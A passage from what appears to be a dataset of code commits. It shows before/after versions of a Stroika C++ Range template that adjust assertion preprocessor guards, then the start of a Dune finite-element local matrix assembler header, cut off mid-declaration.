(TRAITS::kUpperBound)\n , fEnd_ (TRAITS::kLowerBound)\n , fBeginOpenness_ (lhsOpen)\n , fEndOpenness_ (rhsOpen)\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Ensure (empty ());\n#endif\n }\n template <typename T, typename TRAITS>\n#if !qCompilerAndStdLib_constexpr_Buggy\n constexpr\n#endif\n inline Range<T, TRAITS>::Range (const T& begin, const T& end, Openness lhsOpen, Openness rhsOpen)\n : fBegin_ (begin)\n , fEnd_ (end)\n , fBeginOpenness_ (lhsOpen)\n , fEndOpenness_ (rhsOpen)\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Require (TRAITS::kLowerBound <= TRAITS::kUpperBound); \/\/ always required for class\n Require (TRAITS::kLowerBound <= begin);\n Require (begin <= end);\n Require (end <= TRAITS::kUpperBound);\n#endif\n }\n template <typename T, typename TRAITS>\n inline Range<T, TRAITS>::Range (const Memory::Optional<T>& begin, const Memory::Optional<T>& end, Openness lhsOpen, Openness rhsOpen)\n : Range (begin.IsPresent () ? *begin : TRAITS::kLowerBound, end.IsPresent () ? *end : TRAITS::kUpperBound, lhsOpen, rhsOpen)\n {\n }\n template <typename T, typename TRAITS>\n inline constexpr Range<T, TRAITS> Range<T, TRAITS>::FullRange ()\n {\n return Range<T, TRAITS> (\n TraitsType::kLowerBound, TraitsType::kUpperBound,\n TraitsType::kLowerBoundOpenness, TraitsType::kUpperBoundOpenness\n );\n }\n template <typename T, typename TRAITS>\n inline constexpr bool Range<T, TRAITS>::empty () const\n {\n#if qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n return\n fBegin_ > fEnd_ ?\n true :\n ((fBegin_ == fEnd_) ?\n (fBeginOpenness_ == Openness::eOpen and fEndOpenness_ == Openness::eOpen) :\n false\n )\n ;\n#else\n if (fBegin_ > fEnd_) {\n \/\/ internal hack done in Range<T, TRAITS>::Range() - empty range - otherwise not possible to create this situation\n return true;\n }\n else if (fBegin_ == fEnd_) {\n return fBeginOpenness_ == Openness::eOpen and fEndOpenness_ == Openness::eOpen;\n }\n return false;\n#endif\n }\n template <typename T, typename TRAITS>\n inline constexpr typename Range<T, TRAITS>::UnsignedDifferenceType Range<T, TRAITS>::GetDistanceSpanned () const\n {\n#if qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n return\n empty () ?\n static_cast<UnsignedDifferenceType> (0) :\n (fEnd_ - fBegin_)\n ;\n#else\n if (empty ()) {\n return static_cast<UnsignedDifferenceType> (0);\n }\n return fEnd_ - fBegin_;\n#endif\n }\n template <typename T, typename TRAITS>\n inline constexpr T Range<T, TRAITS>::GetMidpoint () const\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Require (not empty ());\n#endif\n return GetLowerBound () + GetDistanceSpanned () \/ 2;\n }\n template <typename T, typename TRAITS>\n inline constexpr bool Range<T, TRAITS>::Contains (const T& r) const\n {\n#if qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n return\n empty () ?\n false :\n (\n (fBegin_ < r and r < fEnd_) or\n (fBeginOpenness_ == Openness::eClosed and r == fBegin_) or\n (fEndOpenness_ == Openness::eClosed and r == fEnd_)\n )\n ;\n#else\n if (empty ()) {\n return false;\n }\n if (fBegin_ < r and r < fEnd_) {\n return true;\n }\n if (fBeginOpenness_ == Openness::eClosed and r == fBegin_) {\n return true;\n }\n if (fEndOpenness_ == Openness::eClosed and r == fEnd_) {\n return true;\n }\n return false;\n#endif\n }\n template <typename T, typename TRAITS>\n template <typename T2, typename TRAITS2>\n inline bool Range<T, TRAITS>::Equals (const Range<T2, TRAITS2>& rhs) const\n {\n if (empty ()) {\n return rhs.empty ();\n }\n return fBegin_ == rhs.fBegin_ and fEnd_ == rhs.fEnd_ and fBeginOpenness_ == rhs.fBeginOpenness_ and fBeginOpenness_ == rhs.fBeginOpenness_;\n }\n#if 0\n template <typename T, typename TRAITS>\n bool Range<T, TRAITS>::Overlaps (const Range<T, TRAITS>& rhs) const\n {\n \/*\n * @todo RETHINK - because Range has semantics of exclude end - make sure overlap usuage\n * here is correct??? Unsure -- LGP 2013-07-05\n *\/\n return Math::Overlaps (\n pair<T, T> (fBegin_, fEnd_),\n pair<T, T> (rhs.fBegin_, rhs.fEnd_)\n );\n }\n#endif\n template <typename T, typename TRAITS>\n template <typename T2, typename TRAITS2>\n bool Range<T, TRAITS>::Intersects (const Range<T2, TRAITS2>& rhs) const\n {\n if (empty () or rhs.empty ()) {\n return false;\n }\n T l = max (fBegin_, rhs.GetLowerBound ());\n T r = min (fEnd_, rhs.GetUpperBound ());\n if (l < r) {\n return true;\n }\n else if (l == r) {\n \/\/ must check if the end that has 'l' for each Range that that end is closed. Contains()\n \/\/ is a shortcut for that\n return Contains (l) and rhs.Contains (l);\n }\n else {\n return false;\n }\n }\n template <typename T, typename TRAITS>\n Range<T, TRAITS> Range<T, TRAITS>::Intersection (const Range<T, TRAITS>& rhs) const\n {\n if (empty () or rhs.empty ()) {\n return Range ();\n }\n T l = max (fBegin_, rhs.fBegin_);\n T r = min (fEnd_, rhs.fEnd_);\n if (l <= r) {\n \/\/ lhs\/rhs ends are closed iff BOTH lhs\/rhs contains that point\n Openness lhsO = Contains (l) and rhs.Contains (l) ? Openness::eClosed : Openness::eOpen;\n Openness rhsO = Contains (r) and rhs.Contains (r) ? Openness::eClosed : Openness::eOpen;\n return Range<T, TRAITS> (l, r, lhsO, rhsO);\n }\n else {\n return Range ();\n }\n }\n template <typename T, typename TRAITS>\n Range<T, TRAITS> Range<T, TRAITS>::UnionBounds (const Range<T, TRAITS>& rhs) const\n {\n if (empty ()) {\n return rhs;\n }\n if (rhs.empty ()) {\n return *this;\n }\n T l = min (GetLowerBound (), rhs.GetLowerBound ());\n T r = max (GetUpperBound (), rhs.GetUpperBound ());\n Range<T, TRAITS> result;\n if (l <= r) {\n \/\/ lhs\/rhs ends are closed iff BOTH lhs\/rhs contains that point\n Openness lhsO = Contains (l) and rhs.Contains (l) ? Openness::eClosed : Openness::eOpen;\n Openness rhsO = Contains (r) and rhs.Contains (r) ? Openness::eClosed : Openness::eOpen;\n result = Range<T, TRAITS> (l, r, lhsO, rhsO);\n }\n Ensure (result.GetLowerBound () <= GetLowerBound ());\n Ensure (result.GetLowerBound () <= GetUpperBound ());\n Ensure (result.GetLowerBound () <= rhs.GetLowerBound ());\n Ensure (result.GetLowerBound () <= rhs.GetUpperBound ());\n Ensure (result.GetUpperBound () >= GetLowerBound ());\n Ensure (result.GetUpperBound () >= GetUpperBound ());\n Ensure (result.GetUpperBound () >= rhs.GetLowerBound ());\n Ensure (result.GetUpperBound () >= rhs.GetUpperBound ());\n return result;\n }\n template <typename T, typename TRAITS>\n inline constexpr T Range<T, TRAITS>::GetLowerBound () const\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Require (not empty ());\n#endif\n return fBegin_;\n }\n template <typename T, typename TRAITS>\n inline constexpr Openness Range<T, TRAITS>::GetLowerBoundOpenness () const\n {\n return fBeginOpenness_;\n }\n template <typename T, typename TRAITS>\n inline constexpr T Range<T, TRAITS>::GetUpperBound () const\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Require (not empty ());\n#endif\n return fEnd_;\n }\n template <typename T, typename TRAITS>\n inline constexpr Openness Range<T, TRAITS>::GetUpperBoundOpenness () const\n {\n return fEndOpenness_;\n }\n template <typename T, typename TRAITS>\n template <typename... ARGS>\n inline Characters::String Range<T, TRAITS>::Format (ARGS&& ... args) const\n {\n if (GetLowerBound () == GetUpperBound ()) {\n return GetLowerBound ().Format (forward<ARGS> (args)...);\n }\n else {\n return GetLowerBound ().Format (forward<ARGS> (args)...) + L\" - \" + GetUpperBound ().Format (forward<ARGS> (args)...);\n }\n }\n template <typename T, typename TRAITS>\n inline bool Range<T, TRAITS>::operator== (const Range<T, TRAITS>& rhs) const\n {\n return Equals (rhs);\n }\n template <typename T, typename TRAITS>\n inline bool Range<T, TRAITS>::operator!= (const Range<T, TRAITS>& rhs) const\n {\n return not Equals (rhs);\n }\n\n\n }\n }\n}\n#endif \/* _Stroika_Foundation_Traversal_Range_inl_ *\/\n<commit_msg>fixed #defines so asserts happen in range CTOR if qCompilerAndStdLib_constexpr_Buggy<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2014. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Traversal_Range_inl_\n#define _Stroika_Foundation_Traversal_Range_inl_\n\n#include \"..\/Debug\/Assertions.h\"\n#include \"..\/Math\/Overlap.h\"\n\n\nnamespace Stroika {\n namespace Foundation {\n namespace Traversal {\n\n\n \/*\n ********************************************************************************\n RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>\n ********************************************************************************\n *\/\n#if qCompilerAndStdLib_constexpr_Buggy\n template <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n const T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kLowerBound = MIN;\n template <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n const T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kUpperBound = MAX;\n#else\n template <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n constexpr T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kLowerBound;\n template <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n constexpr T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kUpperBound;\n#endif\n\n\n \/*\n ********************************************************************************\n ****************** RangeTraits::DefaultRangeTraits<T> **************************\n ********************************************************************************\n *\/\n#if qCompilerAndStdLib_constexpr_Buggy\n template <typename T>\n const T RangeTraits::DefaultRangeTraits<T>::kLowerBound = numeric_limits<T>::lowest ();\n template <typename T>\n const T RangeTraits::DefaultRangeTraits<T>::kUpperBound = numeric_limits<T>::max ();\n#else\n template <typename T>\n constexpr T RangeTraits::DefaultRangeTraits<T>::kLowerBound;\n template <typename T>\n constexpr T RangeTraits::DefaultRangeTraits<T>::kUpperBound;\n#endif\n\n\n \/*\n ********************************************************************************\n ***************************** Range<T, TRAITS> *********************************\n ********************************************************************************\n *\/\n template <typename T, typename TRAITS>\n#if !qCompilerAndStdLib_constexpr_Buggy\n constexpr\n#endif\n inline Range<T, TRAITS>::Range ()\n : Range (TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Ensure (empty ());\n#endif\n }\n template <typename T, typename TRAITS>\n template <typename T2, typename TRAITS2>\n#if !qCompilerAndStdLib_constexpr_Buggy\n constexpr\n#endif\n inline Range<T, TRAITS>::Range (const Range<T2, TRAITS>& src)\n : Range (src.GetLowerBound (), src.GetUpperBound (), src.GetLowerBoundOpenness (), src.GetUpperBoundOpenness ())\n {\n }\n template <typename T, typename TRAITS>\n#if !qCompilerAndStdLib_constexpr_Buggy\n constexpr\n#endif\n inline Range<T, TRAITS>::Range (const T& begin, const T& end)\n : Range (begin, end, TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n {\n }\n template <typename T, typename TRAITS>\n inline Range<T, TRAITS>::Range (const Memory::Optional<T>& begin, const Memory::Optional<T>& end)\n : Range (begin.IsPresent () ? *begin : TRAITS::kLowerBound, end.IsPresent () ? *end : TRAITS::kUpperBound, TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n {\n }\n template <typename T, typename TRAITS>\n#if !qCompilerAndStdLib_constexpr_Buggy\n constexpr\n#endif\n inline Range<T, TRAITS>::Range (Openness lhsOpen, Openness rhsOpen)\n : fBegin_ (TRAITS::kUpperBound)\n , fEnd_ (TRAITS::kLowerBound)\n , fBeginOpenness_ (lhsOpen)\n , fEndOpenness_ (rhsOpen)\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Ensure (empty ());\n#endif\n }\n template <typename T, typename TRAITS>\n#if !qCompilerAndStdLib_constexpr_Buggy\n constexpr\n#endif\n inline Range<T, TRAITS>::Range (const T& begin, const T& end, Openness lhsOpen, Openness rhsOpen)\n : fBegin_ (begin)\n , fEnd_ (end)\n , fBeginOpenness_ (lhsOpen)\n , fEndOpenness_ (rhsOpen)\n {\n#if qCompilerAndStdLib_constexpr_Buggy || !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Require (TRAITS::kLowerBound <= TRAITS::kUpperBound); \/\/ always required for class\n Require (TRAITS::kLowerBound <= begin);\n Require (begin <= end);\n Require (end <= TRAITS::kUpperBound);\n#endif\n }\n template <typename T, typename TRAITS>\n inline Range<T, TRAITS>::Range (const Memory::Optional<T>& begin, const Memory::Optional<T>& end, Openness lhsOpen, Openness rhsOpen)\n : Range (begin.IsPresent () ? *begin : TRAITS::kLowerBound, end.IsPresent () ? *end : TRAITS::kUpperBound, lhsOpen, rhsOpen)\n {\n }\n template <typename T, typename TRAITS>\n inline constexpr Range<T, TRAITS> Range<T, TRAITS>::FullRange ()\n {\n return Range<T, TRAITS> (\n TraitsType::kLowerBound, TraitsType::kUpperBound,\n TraitsType::kLowerBoundOpenness, TraitsType::kUpperBoundOpenness\n );\n }\n template <typename T, typename TRAITS>\n inline constexpr bool Range<T, TRAITS>::empty () const\n {\n#if qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n return\n fBegin_ > fEnd_ ?\n true :\n ((fBegin_ == fEnd_) ?\n (fBeginOpenness_ == Openness::eOpen and fEndOpenness_ == Openness::eOpen) :\n false\n )\n ;\n#else\n if (fBegin_ > fEnd_) {\n \/\/ internal hack done in Range<T, TRAITS>::Range() - empty range - otherwise not possible to create this situation\n return true;\n }\n else if (fBegin_ == fEnd_) {\n return fBeginOpenness_ == Openness::eOpen and fEndOpenness_ == Openness::eOpen;\n }\n return false;\n#endif\n }\n template <typename T, typename TRAITS>\n inline constexpr typename Range<T, TRAITS>::UnsignedDifferenceType Range<T, TRAITS>::GetDistanceSpanned () const\n {\n#if qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n return\n empty () ?\n static_cast<UnsignedDifferenceType> (0) :\n (fEnd_ - fBegin_)\n ;\n#else\n if (empty ()) {\n return static_cast<UnsignedDifferenceType> (0);\n }\n return fEnd_ - fBegin_;\n#endif\n }\n template <typename T, typename TRAITS>\n inline constexpr T Range<T, TRAITS>::GetMidpoint () const\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Require (not empty ());\n#endif\n return GetLowerBound () + GetDistanceSpanned () \/ 2;\n }\n template <typename T, typename TRAITS>\n inline constexpr bool Range<T, TRAITS>::Contains (const T& r) const\n {\n#if qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n return\n empty () ?\n false :\n (\n (fBegin_ < r and r < fEnd_) or\n (fBeginOpenness_ == Openness::eClosed and r == fBegin_) or\n (fEndOpenness_ == Openness::eClosed and r == fEnd_)\n )\n ;\n#else\n if (empty ()) {\n return false;\n }\n if (fBegin_ < r and r < fEnd_) {\n return true;\n }\n if (fBeginOpenness_ == Openness::eClosed and r == fBegin_) {\n return true;\n }\n if (fEndOpenness_ == Openness::eClosed and r == fEnd_) {\n return true;\n }\n return false;\n#endif\n }\n template <typename T, typename TRAITS>\n template <typename T2, typename TRAITS2>\n inline bool Range<T, TRAITS>::Equals (const Range<T2, TRAITS2>& rhs) const\n {\n if (empty ()) {\n return rhs.empty ();\n }\n return fBegin_ == rhs.fBegin_ and fEnd_ == rhs.fEnd_ and fBeginOpenness_ == rhs.fBeginOpenness_ and fBeginOpenness_ == rhs.fBeginOpenness_;\n }\n#if 0\n template <typename T, typename TRAITS>\n bool Range<T, TRAITS>::Overlaps (const Range<T, TRAITS>& rhs) const\n {\n \/*\n * @todo RETHINK - because Range has semantics of exclude end - make sure overlap usuage\n * here is correct??? Unsure -- LGP 2013-07-05\n *\/\n return Math::Overlaps (\n pair<T, T> (fBegin_, fEnd_),\n pair<T, T> (rhs.fBegin_, rhs.fEnd_)\n );\n }\n#endif\n template <typename T, typename TRAITS>\n template <typename T2, typename TRAITS2>\n bool Range<T, TRAITS>::Intersects (const Range<T2, TRAITS2>& rhs) const\n {\n if (empty () or rhs.empty ()) {\n return false;\n }\n T l = max (fBegin_, rhs.GetLowerBound ());\n T r = min (fEnd_, rhs.GetUpperBound ());\n if (l < r) {\n return true;\n }\n else if (l == r) {\n \/\/ must check if the end that has 'l' for each Range that that end is closed. Contains()\n \/\/ is a shortcut for that\n return Contains (l) and rhs.Contains (l);\n }\n else {\n return false;\n }\n }\n template <typename T, typename TRAITS>\n Range<T, TRAITS> Range<T, TRAITS>::Intersection (const Range<T, TRAITS>& rhs) const\n {\n if (empty () or rhs.empty ()) {\n return Range ();\n }\n T l = max (fBegin_, rhs.fBegin_);\n T r = min (fEnd_, rhs.fEnd_);\n if (l <= r) {\n \/\/ lhs\/rhs ends are closed iff BOTH lhs\/rhs contains that point\n Openness lhsO = Contains (l) and rhs.Contains (l) ? Openness::eClosed : Openness::eOpen;\n Openness rhsO = Contains (r) and rhs.Contains (r) ? Openness::eClosed : Openness::eOpen;\n return Range<T, TRAITS> (l, r, lhsO, rhsO);\n }\n else {\n return Range ();\n }\n }\n template <typename T, typename TRAITS>\n Range<T, TRAITS> Range<T, TRAITS>::UnionBounds (const Range<T, TRAITS>& rhs) const\n {\n if (empty ()) {\n return rhs;\n }\n if (rhs.empty ()) {\n return *this;\n }\n T l = min (GetLowerBound (), rhs.GetLowerBound ());\n T r = max (GetUpperBound (), rhs.GetUpperBound ());\n Range<T, TRAITS> result;\n if (l <= r) {\n \/\/ lhs\/rhs ends are closed iff BOTH lhs\/rhs contains that point\n Openness lhsO = Contains (l) and rhs.Contains (l) ? Openness::eClosed : Openness::eOpen;\n Openness rhsO = Contains (r) and rhs.Contains (r) ? Openness::eClosed : Openness::eOpen;\n result = Range<T, TRAITS> (l, r, lhsO, rhsO);\n }\n Ensure (result.GetLowerBound () <= GetLowerBound ());\n Ensure (result.GetLowerBound () <= GetUpperBound ());\n Ensure (result.GetLowerBound () <= rhs.GetLowerBound ());\n Ensure (result.GetLowerBound () <= rhs.GetUpperBound ());\n Ensure (result.GetUpperBound () >= GetLowerBound ());\n Ensure (result.GetUpperBound () >= GetUpperBound ());\n Ensure (result.GetUpperBound () >= rhs.GetLowerBound ());\n Ensure (result.GetUpperBound () >= rhs.GetUpperBound ());\n return result;\n }\n template <typename T, typename TRAITS>\n inline constexpr T Range<T, TRAITS>::GetLowerBound () const\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Require (not empty ());\n#endif\n return fBegin_;\n }\n template <typename T, typename TRAITS>\n inline constexpr Openness Range<T, TRAITS>::GetLowerBoundOpenness () const\n {\n return fBeginOpenness_;\n }\n template <typename T, typename TRAITS>\n inline constexpr T Range<T, TRAITS>::GetUpperBound () const\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Require (not empty ());\n#endif\n return fEnd_;\n }\n template <typename T, typename TRAITS>\n inline constexpr Openness Range<T, TRAITS>::GetUpperBoundOpenness () const\n {\n return fEndOpenness_;\n }\n template <typename T, typename TRAITS>\n template <typename... ARGS>\n inline Characters::String Range<T, TRAITS>::Format (ARGS&& ... args) const\n {\n if (GetLowerBound () == GetUpperBound ()) {\n return GetLowerBound ().Format (forward<ARGS> (args)...);\n }\n else {\n return GetLowerBound ().Format (forward<ARGS> (args)...) + L\" - \" + GetUpperBound ().Format (forward<ARGS> (args)...);\n }\n }\n template <typename T, typename TRAITS>\n inline bool Range<T, TRAITS>::operator== (const Range<T, TRAITS>& rhs) const\n {\n return Equals (rhs);\n }\n template <typename T, typename TRAITS>\n inline bool Range<T, TRAITS>::operator!= (const Range<T, TRAITS>& rhs) const\n {\n return not Equals (rhs);\n }\n\n\n }\n }\n}\n#endif \/* _Stroika_Foundation_Traversal_Range_inl_ *\/\n<|endoftext|>"} {"text":"<commit_before>#ifndef DUNE_DETAILED_DISCRETIZATIONS_ASSEMLBER_LOCAL_CODIM1_MATRIX_HH\n#define DUNE_DETAILED_DISCRETIZATIONS_ASSEMLBER_LOCAL_CODIM1_MATRIX_HH\n\n\/\/ std includes\n#include <vector>\n\n\/\/ local includes\n\/\/#include \"vector.hh\"\n\nnamespace Dune {\n\nnamespace Detailed {\n\nnamespace Discretizations {\n\nnamespace Assembler {\n\nnamespace Local {\n\nnamespace Codim1 {\n\ntemplate <class LocalOperatorImp>\nclass Inner\n{\npublic:\n typedef LocalOperatorImp LocalOperatorType;\n\n typedef Inner<LocalOperatorType> ThisType;\n\n typedef typename LocalOperatorType::RangeFieldType RangeFieldType;\n\n Inner(const LocalOperatorType& localOperator)\n : localOperator_(localOperator)\n {\n }\n\n const LocalOperatorType& localOperator() const\n {\n return localOperator_;\n }\n\nprivate:\n static const unsigned int numTmpObjectsRequired_ = 4;\n\npublic:\n std::vector<unsigned int> numTmpObjectsRequired() const\n {\n std::vector<unsigned int> ret(2, 0);\n ret[0] = numTmpObjectsRequired_;\n ret[1] = localOperator_.numTmpObjectsRequired();\n return ret;\n } \/\/ std::vector< unsigned int > numTmpObjectsRequired() const\n\n template <class IntersectionType, class InnerAnsatzSpaceType, class InnerTestSpaceType, class OuterAnsatzSpaceType,\n class OuterTestSpaceType, class MatrixBackendType, class LocalMatrixType>\n void assembleLocal(const IntersectionType& intersection, const InnerAnsatzSpaceType& innerAnsatzSpace,\n const InnerTestSpaceType& innerTestSpace, const OuterAnsatzSpaceType& outerAnsatzSpace,\n const OuterTestSpaceType& outerTestSpace, MatrixBackendType& innerInnerMatrix,\n MatrixBackendType& outerOuterMatrix, MatrixBackendType& innerOuterMatrix,\n MatrixBackendType& outerInnerMatrix,\n std::vector<std::vector<LocalMatrixType>>& tmpLocalMatricesContainer) const\n {\n \/\/ preparations\n assert(intersection.neighbor() && !intersection.boundary());\n typedef typename IntersectionType::EntityPointer EntityPointerType;\n typedef typename IntersectionType::Entity EntityType;\n typedef typename InnerAnsatzSpaceType::BaseFunctionSetType::LocalBaseFunctionSetType InnerAnsatzBaseFunctionSetType;\n typedef typename InnerTestSpaceType::BaseFunctionSetType::LocalBaseFunctionSetType InnerTestBaseFunctionSetType;\n typedef typename OuterAnsatzSpaceType::BaseFunctionSetType::LocalBaseFunctionSetType OuterAnsatzBaseFunctionSetType;\n typedef typename OuterTestSpaceType::BaseFunctionSetType::LocalBaseFunctionSetType OuterTestBaseFunctionSetType;\n \/\/ get inside entity and basefunctionsets\n const EntityPointerType insideEntityPtr = intersection.inside();\n const EntityType& insideEntity = *insideEntityPtr;\n const InnerAnsatzBaseFunctionSetType innerAnsatzBaseFunctionSet =\n innerAnsatzSpace.baseFunctionSet().local(insideEntity);\n const InnerTestBaseFunctionSetType innerTestBaseFunctionSet = innerTestSpace.baseFunctionSet().local(insideEntity);\n \/\/ get outside neighbor and basefunctionsets\n const EntityPointerType outsideNeighborPtr = intersection.outside();\n const EntityType& outsideNeighbor = *outsideNeighborPtr;\n const OuterAnsatzBaseFunctionSetType outerAnsatzBaseFunctionSet =\n outerAnsatzSpace.baseFunctionSet().local(outsideNeighbor);\n const OuterTestBaseFunctionSetType outerTestBaseFunctionSet =\n outerTestSpace.baseFunctionSet().local(outsideNeighbor);\n \/\/ ensure enough tmp local matrices\n assert(tmpLocalMatricesContainer.size() > 1);\n std::vector<LocalMatrixType>& tmpLocalMatrices = tmpLocalMatricesContainer[0];\n if (tmpLocalMatrices.size() < numTmpObjectsRequired_) {\n tmpLocalMatrices.resize(\n numTmpObjectsRequired_,\n LocalMatrixType(std::max(innerAnsatzSpace.map().maxLocalSize(), outerAnsatzSpace.map().maxLocalSize()),\n std::max(innerTestSpace.map().maxLocalSize(), outerTestSpace.map().maxLocalSize()),\n RangeFieldType(0.0)));\n } \/\/ ensure enough tmp local matrices\n \/\/ apply local operator\n localOperator_.applyLocal(innerAnsatzBaseFunctionSet,\n innerTestBaseFunctionSet,\n outerAnsatzBaseFunctionSet,\n outerTestBaseFunctionSet,\n intersection,\n tmpLocalMatrices[0], \/\/ inside\/inside\n tmpLocalMatrices[1], \/\/ outside\/outside\n tmpLocalMatrices[2], \/\/ inside\/outside\n tmpLocalMatrices[3], \/\/ outside\/inside\n tmpLocalMatricesContainer[1]);\n \/\/ write local matrices to global (see below)\n addToMatrix(innerAnsatzSpace, innerTestSpace, insideEntity, insideEntity, tmpLocalMatrices[0], innerInnerMatrix);\n addToMatrix(\n outerAnsatzSpace, outerTestSpace, outsideNeighbor, outsideNeighbor, tmpLocalMatrices[1], outerOuterMatrix);\n addToMatrix(innerAnsatzSpace, outerTestSpace, insideEntity, outsideNeighbor, tmpLocalMatrices[2], innerOuterMatrix);\n addToMatrix(outerAnsatzSpace, innerTestSpace, outsideNeighbor, insideEntity, tmpLocalMatrices[3], outerInnerMatrix);\n } \/\/ void assembleLocal() const\n\nprivate:\n \/\/! assignment operator\n ThisType& operator=(const ThisType&);\n\n template <class AnsatzSpaceType, class TestSpaceType, class EntityType, class LocalMatrixType, class SystemMatrixType>\n void addToMatrix(const AnsatzSpaceType& ansatzSpace, const TestSpaceType& testSpace, const EntityType& ansatzEntity,\n const EntityType& testEntity, const LocalMatrixType& localMatrix,\n SystemMatrixType& systemMatrix) const\n {\n unsigned int rows = ansatzSpace.baseFunctionSet().local(ansatzEntity).size();\n unsigned int cols = testSpace.baseFunctionSet().local(testEntity).size();\n for (unsigned int i = 0; i < rows; ++i) {\n for (unsigned int j = 0; j < cols; ++j) {\n const unsigned int globalI = ansatzSpace.map().toGlobal(ansatzEntity, i);\n const unsigned int globalJ = testSpace.map().toGlobal(testEntity, j);\n\n systemMatrix.add(globalI, globalJ, localMatrix[i][j]);\n }\n }\n } \/\/ end method addToMatrix\n\n const LocalOperatorType& localOperator_;\n}; \/\/ end class Inner\n\n} \/\/ end namespace Codim1\n\n} \/\/ end namespace Local\n\n} \/\/ end namespace Assembler\n\n} \/\/ namespace Discretizations\n\n} \/\/ namespace Detailed\n\n} \/\/ end namespace Dune\n\n#endif \/\/ DUNE_DETAILED_DISCRETIZATIONS_ASSEMLBER_LOCAL_CODIM1_MATRIX_HH\n<commit_msg>[assembler.local.codim1.matrix] added local boundary assembler<commit_after>#ifndef DUNE_DETAILED_DISCRETIZATIONS_ASSEMLBER_LOCAL_CODIM1_MATRIX_HH\n#define DUNE_DETAILED_DISCRETIZATIONS_ASSEMLBER_LOCAL_CODIM1_MATRIX_HH\n\n\/\/ std includes\n#include <vector>\n\n\/\/ local includes\n\/\/#include \"vector.hh\"\n\nnamespace Dune {\n\nnamespace Detailed {\n\nnamespace Discretizations {\n\nnamespace Assembler {\n\nnamespace Local {\n\nnamespace Codim1 {\n\ntemplate <class LocalOperatorImp>\nclass Inner\n{\npublic:\n typedef LocalOperatorImp LocalOperatorType;\n\n typedef Inner<LocalOperatorType> ThisType;\n\n typedef typename LocalOperatorType::RangeFieldType RangeFieldType;\n\n Inner(const LocalOperatorType& localOperator)\n : localOperator_(localOperator)\n {\n }\n\n const LocalOperatorType& localOperator() const\n {\n return localOperator_;\n }\n\nprivate:\n static const unsigned int numTmpObjectsRequired_ = 4;\n\npublic:\n std::vector<unsigned int> numTmpObjectsRequired() const\n {\n std::vector<unsigned int> ret(2, 0);\n ret[0] = numTmpObjectsRequired_;\n ret[1] = localOperator_.numTmpObjectsRequired();\n return ret;\n } \/\/ std::vector< unsigned int > numTmpObjectsRequired() const\n\n template <class IntersectionType, class InnerAnsatzSpaceType, class InnerTestSpaceType, class OuterAnsatzSpaceType,\n class OuterTestSpaceType, class MatrixBackendType, class LocalMatrixType>\n void assembleLocal(const IntersectionType& intersection, const InnerAnsatzSpaceType& innerAnsatzSpace,\n const InnerTestSpaceType& innerTestSpace, const OuterAnsatzSpaceType& outerAnsatzSpace,\n const OuterTestSpaceType& outerTestSpace, MatrixBackendType& innerInnerMatrix,\n MatrixBackendType& outerOuterMatrix, MatrixBackendType& innerOuterMatrix,\n MatrixBackendType& outerInnerMatrix,\n std::vector<std::vector<LocalMatrixType>>& tmpLocalMatricesContainer) const\n {\n \/\/ preparations\n assert(intersection.neighbor() && !intersection.boundary());\n typedef typename IntersectionType::EntityPointer EntityPointerType;\n typedef typename IntersectionType::Entity EntityType;\n typedef typename InnerAnsatzSpaceType::BaseFunctionSetType::LocalBaseFunctionSetType InnerAnsatzBaseFunctionSetType;\n typedef typename InnerTestSpaceType::BaseFunctionSetType::LocalBaseFunctionSetType 